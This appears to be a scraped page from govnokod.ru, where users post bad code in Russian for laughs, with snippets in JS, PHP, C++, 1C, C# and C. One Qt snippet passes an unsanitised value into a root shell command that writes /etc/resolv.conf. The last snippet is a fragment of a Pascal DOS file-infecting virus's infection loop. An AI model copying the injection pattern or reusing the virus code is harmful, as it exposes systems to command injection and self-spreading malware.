- 1
- 2
/* eventData1 - аргумент функции, причем он не может быть меньше 1 по определению. */
CS_OF=(eventData1-1)/2==(eventData1-1)*0.5;
Нашли или выдавили из себя код, который нельзя назвать нормальным, на который без улыбки не взглянешь? Не торопитесь его удалять или рефакторить, — запостите его на говнокод.ру, посмеёмся вместе!
+136
/* eventData1 - аргумент функции, причем он не может быть меньше 1 по определению. */
CS_OF=(eventData1-1)/2==(eventData1-1)*0.5;
+151
ISQ.Widget.ContactForm.clickEventHandler=function(a){
switch(a.result){
case ISQ.Forms.clickEventEnum.SUBMIT:
ISQ.Widget.Log.add("contactForm submit");
ISQ.Widget.ContactForm.send(a.formElements);
ISQ.Widget.ContactForm.close(true);
break;
case ISQ.Forms.clickEventEnum.CANCEL:
if(ISQ.Cnf.limited){
break
}
ISQ.Widget.Log.add("contactForm cancel");
if(a.query!==""){
ISQ.Widget.HTML.queryField.value=a.query
}
ISQ.Widget.ContactForm.canceled=true;
ISQ.Widget.ContactForm.close();
break;
case ISQ.Forms.clickEventEnum.ERROR:
ISQ.Widget.Log.add("contactForm input error");
break
}
};
Если честно, то тут автор даже удивил. Как-то раньше ни разу не пришлось два брейка в одном кейсе делать, все как-то одним обходился.
+65
/**
*
* @class admin_members_members_members
* @brief Provides methods to deal with the members management for administrators
*/
class admin_members_members_members extends ipsCommand
{
Это из форума IPB
+152
ISQ.Widget.Query.keyUpHandler=function(c){
var b=c||window.event;
if(!ISQ.Widget.userActive){
return
}
if(typeof(b.keyCode)!="unknown"&&ISQ.Widget.Query.ignoreKeyCodes[b.keyCode]){
return false
}
if(ISQ.Cnf.limited&&ISQ.Widget.state!==ISQ.Widget.enumState.contactForm){
return false
}
if(ISQ.Widget.state===ISQ.Widget.enumState.customLink){
ISQ.Widget.state=ISQ.Widget.enumState.questions
}
ISQ.Widget.Query.clearQuestionTrail();
var a=_query(false);
if(ISQ.Widget.Query.lastQueryWritten!=a){
ISQ.Widget.Query.analyzeQuery(a)
}
return false
};
По поводу уверенных программистов (явно задел на будущее, а вдруг добаят).
−29
template<class TValueChanger>
NContour::NPrimitives::PArc ChangePrimitive(NContour::NPrimitives::PArc Arc, const TValueChanger& ValueChanger)
{
return ValueChanger(Arc);
}
template<class TValueChanger>
NContour::NPrimitives::PLine ChangePrimitive(NContour::NPrimitives::PLine Line, const TValueChanger& ValueChanger)
{
return ValueChanger(Line);
}
template<class TValueChanger1, class TValueChanger2>
NContour::NPrimitives::PArc ChangePrimitive(NContour::NPrimitives::PArc Arc, const TValueChanger1& ValueChanger1, const TValueChanger2& ValueChanger2)
{
return ValueChanger2(ValueChanger1(Arc));
}
template<class TValueChanger1, class TValueChanger2>
NContour::NPrimitives::PLine ChangePrimitive(NContour::NPrimitives::PLine Line, const TValueChanger1& ValueChanger1, const TValueChanger2& ValueChanger2)
{
return ValueChanger2(ValueChanger1(Line));
}
//...
template<class TValueChanger1, class TValueChanger2, class TValueChanger3, class TValueChanger4, class TValueChanger5, class TValueChanger6>
NContour::NPrimitives::PArc ChangePrimitive(NContour::NPrimitives::PArc Arc, const TValueChanger1& ValueChanger1, const TValueChanger2& ValueChanger2, const TValueChanger3& ValueChanger3, const TValueChanger4& ValueChanger4, const TValueChanger5& ValueChanger5, const TValueChanger6& ValueChanger6)
{
return ValueChanger6(ValueChanger5(ValueChanger4(ValueChanger3(ValueChanger2(ValueChanger1(Arc))))));
}
template<class TValueChanger1, class TValueChanger2, class TValueChanger3, class TValueChanger4, class TValueChanger5, class TValueChanger6>
NContour::NPrimitives::PLine ChangePrimitive(NContour::NPrimitives::PLine Line, const TValueChanger1& ValueChanger1, const TValueChanger2& ValueChanger2, const TValueChanger3& ValueChanger3, const TValueChanger4& ValueChanger4, const TValueChanger4& ValueChanger5, const TValueChanger6& ValueChanger6)
{
return ValueChanger6(ValueChanger5(ValueChanger4(ValueChanger3(ValueChanger2(ValueChanger1(Line))))));
}
−119
Если ПроверятьСкидкиРассчитаны И
ИспользоватьАвтоматическиеСкидки И
Не ДокументПродажи.СкидкиРассчитаны И
ДокументПродажи.ХозяйственнаяОперация <> Перечисления.ХозяйственныеОперации.ПередачаНаКомиссию Тогда
ПроверятьСкидкиРассчитаны = Истина;
КонецЕсли;
Управление торговлей (11-я редакция)
+89
private void СтолкновениеСБонусом()// столкновение с бонусом
{
for (int i = 0; i < бонус.Count; i++)
{
if (Math.Abs(packMan.x - бонус[i].x) <= 19 && (packMan.y == бонус[i].y)
||
(packMan.x == бонус[i].x) && Math.Abs(packMan.y - бонус[i].y) <= 19
||
Math.Abs(packMan.x - бонус[i].x) <= 19 && Math.Abs(packMan.y - бонус[i].y) <= 19
)
{
бонус.Remove(бонус[i]);//удаляем бонус
fl1 = false;//ставим в ложь и привидения прекрашают движение
//Labe2();
_tm1.Enabled = true;//таймер включен, хоть он и так включен
_tm1.Start();//старт таймера
}
}
}
Автор кода недоумевает, как код сделать еще читабельнее :facepalm:
Комментарии доставляют :)
Тема на форуме http://www.cyberforum.ru/csharp-beginners/thread586090.html
−28
command = QString("sh -c \"echo \"nameserver %1\" > /etc/resolv.conf\"")
.arg(nameserver.toString());
QProcess process;
process.start(command);
+142
if (!menu) error(E_NOMEM); /* add titles and items */
if ((mn_addtitle(menu, "file", 0, 0, 0) != 0)
|| (mn_additem (menu, "load", 1, mcb_load, 0) != 0)
|| (mn_additem (menu, "save", 0, mcb_save, 0) != 0)
|| (mn_additem (menu, "mpost", 0, mcb_mpost, 0) != 0)
|| (mn_additem (menu, NULL, 0, 0, 0) != 0)
|| (mn_additem (menu, "quit", 0, mcb_quit, 0) != 0)
|| (mn_addtitle(menu, "actions", 0, 0, 0) != 0)
|| (mn_additem (menu, "init", 0, mcb_init, 0) != 0)
|| (mn_additem (menu, "start", 2, mcb_start, 0) != 0)
|| (mn_additem (menu, "stop", 4, mcb_start, 0) != 0)
|| (mn_additem (menu, NULL, 0, 0, 0) != 0)
|| (mn_additem (menu, "view", 0, mcb_view, 0) != 0)
|| (mn_additem (menu, "redraw", 0, mcb_redraw, 0) != 0)
|| (mn_addtitle(menu, "settings", 0, 0, 0) != 0)
|| (mn_additem (menu, "grid", 1, mcb_grid, 0) != 0)
|| (mn_additem (menu, "params", 0, mcb_params, 0) != 0)
|| (mn_addtitle(menu, "help", 0, 0, 0) != 0)
|| (mn_additem (menu, "about", 0, mcb_about, 0) != 0)
|| (mn_addtitle(menu, NULL, 0, 0, 0) != 0))
error(E_WIDGET);
mn_resize (menu, INITXEXT); /* set width of menu bar */
mn_visible(menu, MN_ITEMS, 3);/* show/hide menu items */
mn_enable (menu, MN_ITEMS, 3);/* enable/disable menu items */
Кусок кода из программы http://www.borgelt.net/doc/somd/somd.html для визуализации SOM. Эпичная проверка условий!
+102
{ Infected it}
BlockWrite(Go,PrograStart,Succ(VirusSize shr 7));
Close(Go);
{ Say what has been done}
WriteLn(UsePath +' infected.');
Halt; {... and HALT the program}
End;
Close(Go);
End;
{The file has already been infected, search next}
Reg.AH:=$4F;
Reg.DS Seg(DTA);
Reg.DX Ofs(DTA);
MsDos(Reg)
{... Until no more files found}
Until Odd(Reg.Flags);
Write(''); { Give a smile}
End.
http://www.liveinternet.ru/users/gafarov-91/post120984751/
Вторая часть.